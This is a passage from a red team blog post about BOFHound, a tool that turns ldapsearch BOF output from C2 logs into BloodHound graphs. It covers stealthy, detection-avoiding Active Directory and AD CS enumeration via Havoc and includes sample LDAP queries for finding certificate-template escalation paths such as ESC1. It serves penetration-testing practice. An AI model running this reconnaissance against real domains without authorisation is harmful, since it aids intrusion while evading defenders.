filter, meaning discretion can be used to avoid static query strings tied to common offensive tools and leveraged in detections [<a href="https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726">1</a>, <a href="https://falconforce.nl/falconfriday-detecting-active-directory-data-collection-0xff21/">2</a>]</p></li><li><p>The operator can specify a limit on the result count, so that the query returns no more than N entries; this is helpful when consciously avoiding expensive queries (result pools can also be narrowed with search scope, targeted query filters, or through a search base)</p></li></ul><p>Here are some downsides to solely relying on this approach for LDAP enumeration:</p><ul><li><p>Queries only return text-based results (i.e., there is no visualization or BloodHound-like graph that many operators prefer)</p></li><li><p>Identifying ACL abuses is essentially impossible with this approach alone</p></li><li><p>Trying to keep track of and organize relationships between objects, like group memberships (let alone nested memberships), by hand in text/Excel files is difficult</p></li></ul><p>The bigger the target environment is, the more these problems are amplified. These also all sound like problems that BloodHound was originally created to solve. Is there any way we could maintain the granular control the ldapsearch BOF offers us over enumeration and still be able to use BloodHound?</p><p>Enter BOFHound. It aims to serve this very niche need by reading LDAP objects from your ldapsearch results in C2 logs, processing them, and producing BloodHound JSON files.</p><blockquote><p><em>Thus the name BOFHound &#8212; read output from the ldapsearch BOF in log files and make it BloodHound-usable. LogHound just doesn&#8217;t have the same ring to it, does it?</em></p></blockquote><p>This allows for ACL relationships to be parsed (from base64 encoded nTSecurityDescriptor attributes) and for your operators to continue visualizing nodes and relationships in the BloodHound UI where they are happy.</p><p>Now you might be wondering &#8220;BloodHound collects <em>all</em> data [that we frequently care for] in an AD environment, so how can this work with partial data obtained from manual queries?&#8221; Well, it&#8217;s simple; the BloodHound UI will only show you what you have enumerated via manual queries and parsed with BOFHound. In other words, it will be incomplete data and, if you&#8217;re using this approach, you&#8217;re likely fine with that. We can target specific information we want to populate the graph with, such as objects related to our objectives, objects that have privileges we want to compromise, or objects that often make easy targets (i.e., <a href="https://posts.specterops.io/certified-pre-owned-d95910965cd2">AD CS</a>, <a href="https://github.com/subat0mik/Misconfiguration-Manager">SCCM</a>).</p><p>But BloodHound will actually show you <em>a little more</em> than only what you&#8217;ve queried. Object ACLs return references (SIDs) to other objects in the environment that are granted some permission over the object you queried. When you parse these ACLs without an object tied to the SID, they are represented in the graph by nodes with SIDs for names or question mark icons. For example, if I query <strong>only</strong> the domain object, run it through BOFHound, upload the result to BloodHound, and check the <em>Inbound Object Control</em> on the domain object, we&#8217;ll see this.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-fTo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-fTo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png 424w, https://substackcdn.com/image/fetch/$s_!-fTo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png 848w, https://substackcdn.com/image/fetch/$s_!-fTo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png 1272w, https://substackcdn.com/image/fetch/$s_!-fTo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-fTo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png" width="728" height="453.44" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:872,&quot;width&quot;:1400,&quot;resizeWidth&quot;:728,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!-fTo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png 424w, https://substackcdn.com/image/fetch/$s_!-fTo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png 848w, https://substackcdn.com/image/fetch/$s_!-fTo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png 1272w, https://substackcdn.com/image/fetch/$s_!-fTo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd177a144-4bbe-4a8d-94f2-5f1fa6c35425_1400x872.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Parsing Single Object Reveals the Presence of Many More</figcaption></figure></div><p>I&#8217;ve only queried the domain object, but I also now know that these six other objects exist. Knowing their SIDs provides a means to query those objects that might be of interest. As I query them and rerun BOFHound, we can slowly fill in that picture and expand it, essentially providing a way to identify objects of interest, and work backwards from them.</p><h2><strong>The Fog of War</strong></h2><p>A while back, I was talking with <a href="https://x.com/jaredcatkinson">Jared Atkinson</a> about BOFHound and these very misconceptions when he made a very apt analogy: clearing the fog of war. In games like <em>Civilization </em>or <em>Age of Empires</em>, you start surrounded by the &#8220;fog of war,&#8221; representing the world you know exists, but otherwise know nothing about. As you scout around, you reveal more of the map, pushing back the fog of war, and gaining more information about the game&#8217;s world.</p><p>An unsophisticated player may just send their scouts out to chart the entire map as fast as possible. This could end up being advantageous, but it could also backfire by increasing the probability of encounters the player is unprepared for (i.e., a hostile faction). A sophisticated player may choose to scout areas as it&#8217;s advantageous to them, or when they&#8217;re prepared to deal with potentially hostile discoveries.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Oxv3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Oxv3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png 424w, https://substackcdn.com/image/fetch/$s_!Oxv3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png 848w, https://substackcdn.com/image/fetch/$s_!Oxv3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png 1272w, https://substackcdn.com/image/fetch/$s_!Oxv3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Oxv3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png" width="845" height="505" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/db3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:505,&quot;width&quot;:845,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Oxv3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png 424w, https://substackcdn.com/image/fetch/$s_!Oxv3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png 848w, https://substackcdn.com/image/fetch/$s_!Oxv3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png 1272w, https://substackcdn.com/image/fetch/$s_!Oxv3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdb3a78de-4d45-4eb8-bb78-c01aa5b3dd27_845x505.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Brb, Building a Scout</figcaption></figure></div><p>As a prospective BOFHound user, the fog of war is the great unknown AD environment: objects, relationships, attack paths, etc. Immediately trying to chart the entire map is like trying query every AD object at once (i.e., <code>(objectClass=*)</code>, running SharpHound); very beneficial data to have if successful, but you&#8217;re at high risk of revealing your presence to the hostile blue team. BOFHound is supposed to aid you in taking the careful, &#8220;sophisticated player&#8221; approach. Each time you manually run a batch of LDAP queries and parse/process with BOFHound, you clear a bit more of the fog and incrementally learn more about the environment you&#8217;re in. It is an iterative process (query &#8594; parse &#8594; query, etc.) until you feel you have sufficient information to take additional action or move on.</p><p>I think it goes without saying, but this approach is quite niche. If you do not care about being detected performing LDAP reconnaissance or know/think an alert will not fire for something like running SharpHound or ADExplorer, then you <em>should</em> run them. Having a more complete dataset will always allow you to spend your time more efficiently. I use this methodology described with BOFHound a handful of times a year, when I care about being stealthy; you really have no need for this in your playbook otherwise.</p><p>I hope this detour helped clear up some of the self-inflicted misconceptions around BOFHound&#8217;s purpose, intended usage, and name. This took up way more space than I initially intended (and became a bit rant-y), but now we can get into the AD CS updates.</p><h1><strong>The Good Stuff</strong></h1><p>In addition to the AD CS support, I recently added parsing support for <a href="https://github.com/HavocFramework/Havoc">Havoc</a> log files. The rest of this blog will use the ldapsearch BOF via Havoc to demo one method of AD CS enumeration. While you&#8217;re probably not rolling out Havoc on your red team assessments, I realized only supporting log parsing for commercial C2s might otherwise turn users away from testing BOFHound in a lab. Havoc ships with an outdated version (as of 10/22/2024) of the ldapsearch BOF (needs updated for AD CS querying), but that can be easily remedied by copying the <a href="https://github.com/trustedsec/CS-Situational-Awareness-BOF/tree/master/SA/ldapsearch">latest BOFs</a> over to <code>havoc/client/Modules/SituationalAwareness/ObjectFiles/</code>and updating the <code>ldapsearch_parse_params()</code> function within <code>hacov/client/Moduels/SituationalAwareness/SituationalAwareness.py </code>to the definition in this <a href="https://gist.github.com/Tw1sm/15c0eac8fc0f4c794ab8081b63da6c84">gist</a>.</p><p>On past assessments, I&#8217;ve typically leveraged one of the various <code>adcs_enum</code> BOFs included in <a href="https://github.com/trustedsec/CS-Situational-Awareness-BOF">situational awareness</a> collection for AD CS enumeration and config analysis. These work great and I&#8217;ve used them to identify vulnerable templates and AD CS ESC paths during real-world engagements. Why bother switching enumeration playbooks? Manually analyzing a wall of certificate config text can work, but it can also be error prone, especially when it comes to trying to unroll group memberships for permissions like enrollment rights.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8V-X!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8V-X!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png 424w, https://substackcdn.com/image/fetch/$s_!8V-X!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png 848w, https://substackcdn.com/image/fetch/$s_!8V-X!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png 1272w, https://substackcdn.com/image/fetch/$s_!8V-X!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8V-X!,w_2400,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png" width="984" height="548.0934065934066" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;large&quot;,&quot;height&quot;:811,&quot;width&quot;:1456,&quot;resizeWidth&quot;:984,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-large" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!8V-X!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png 424w, https://substackcdn.com/image/fetch/$s_!8V-X!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png 848w, https://substackcdn.com/image/fetch/$s_!8V-X!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png 1272w, https://substackcdn.com/image/fetch/$s_!8V-X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8c126dd3-87aa-40e9-936b-0cbe0f37214e_1600x891.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Trusty Old Text Wall of Certificate Configs</figcaption></figure></div><p>While it&#8217;s still all too common to find paths like ESC1 with groups such as <em>Domain Users</em>, <em>Domain Computers</em>, and <em>Authenticated Users</em> jumping out when checking enrollment rights, unrolling nested rights (like the path below) isn&#8217;t always so straightforward when reviewing these config dumps.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Te-H!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Te-H!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png 424w, https://substackcdn.com/image/fetch/$s_!Te-H!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png 848w, https://substackcdn.com/image/fetch/$s_!Te-H!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png 1272w, https://substackcdn.com/image/fetch/$s_!Te-H!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Te-H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png" width="404" height="464.7518796992481" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1530,&quot;width&quot;:1330,&quot;resizeWidth&quot;:404,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Te-H!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png 424w, https://substackcdn.com/image/fetch/$s_!Te-H!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png 848w, https://substackcdn.com/image/fetch/$s_!Te-H!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png 1272w, https://substackcdn.com/image/fetch/$s_!Te-H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1dc74e6a-53a3-4057-8d4f-d7b079b34854_1330x1530.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">ESC1 Path Through Nested Group Membership</figcaption></figure></div><p>The question the remainder of the blog tries to answer &#8212; <em>can we piece together this same picture without burning the red team by running SharpHound? </em>My coworker <a href="https://x.com/Jonas_B_K">Jonas B&#252;low Knudsen</a> released a very informative <a href="https://medium.com/specter-ops-posts/adcs-attack-paths-in-bloodhound-part-1-799f3d3b03cf">blog</a> about AD CS attack paths in BloodHound when they were introduced and his blog details the types of LDAP objects relied upon for mapping AD CS relationships. In short, there are six &#8220;new&#8221; types of objects we care about:</p><ul><li><p>Enterprise CAs</p></li><li><p>AIACAs</p></li><li><p>Root CAs</p></li><li><p>NTAuth Stores</p></li><li><p>Certificate Templates</p></li><li><p>Issuance Policies</p></li></ul><p>If we query these objects (and the domain object), we can graph out the attack paths. There&#8217;s no &#8220;right&#8221; way to do this with ldapsearch, but a basic approach is a sequence of queries based on object class. All the target objects are nested in the <em>Configuration</em> naming context &#8212; technically we could query them all at once with <code>(objectClass=*)</code>and a search base of <code>CN=Cofiguration,DC=domain,DC=local</code>. However, if you&#8217;re interested in this manual approach in the first place, you may not be interested in that sort of wide-ranging query &#128521;.</p><p>Here&#8217;s a sample query transcript to get you started:</p><pre><code># Query the domain object
ldapsearch (objectclass=domain) *,ntsecuritydescriptor

# Query Enterprise CAs
ldapsearch (objectclass=pKIEnrollmentService) *,ntsecuritydescriptor 0 3 "" "CN=Configuration,DC=domain,DC=local"

# Query AIACAs, Root CAs and NTAuth Stores
ldapsearch (objectclass=certificationAuthority) *,ntsecuritydescriptor 0 3 "" "CN=Configuration,DC=domain,DC=local"

# Query Certificate Templates
ldapsearch (objectclass=pKICertificateTemplate) *,ntsecuritydescriptor 0 3 "" "CN=Configuration,DC=domain,DC=local"

# Query Issuance Policies
ldapsearch (objectclass=msPKI-Enterprise-Oid) *,ntsecuritydescriptor 0 3 "" "CN=Configuration,DC=domain,DC=local"</code></pre><p>If you&#8217;re new to the ldapsearch BOF (or even just its recent argument updates), here&#8217;s a quick breakdown of its positional arguments. Consider this query from the examples: <code>ldapsearch (objectclass=pKIEnrollmentService) *,ntsecuritydescriptor 0 3 "" "CN=Configuration,DC=essos,DC=local"</code> &#8212; <a href="https://gist.github.com/Tw1sm/95fa6b4758ef2666dca3b253da4d2d80">what does this mean?</a></p><p>Here&#8217;s an example of one transcript query performed with the ldapsearch BOF via Havoc. I&#8217;m doing this enumeration across a domain trust in my lab (<a href="https://github.com/Orange-Cyberdefense/GOAD">GOAD</a>, from <code>sevenkingdoms.local</code> to <code>essos.local</code>), hence the explicit definition of domain controller to query and search base (even for objects in the default naming context).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xnJA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Febe1dcda-0957-4a35-b6cb-4dd43170c5d6_1600x755.png" data-component-name="Image2ToDOM"><div 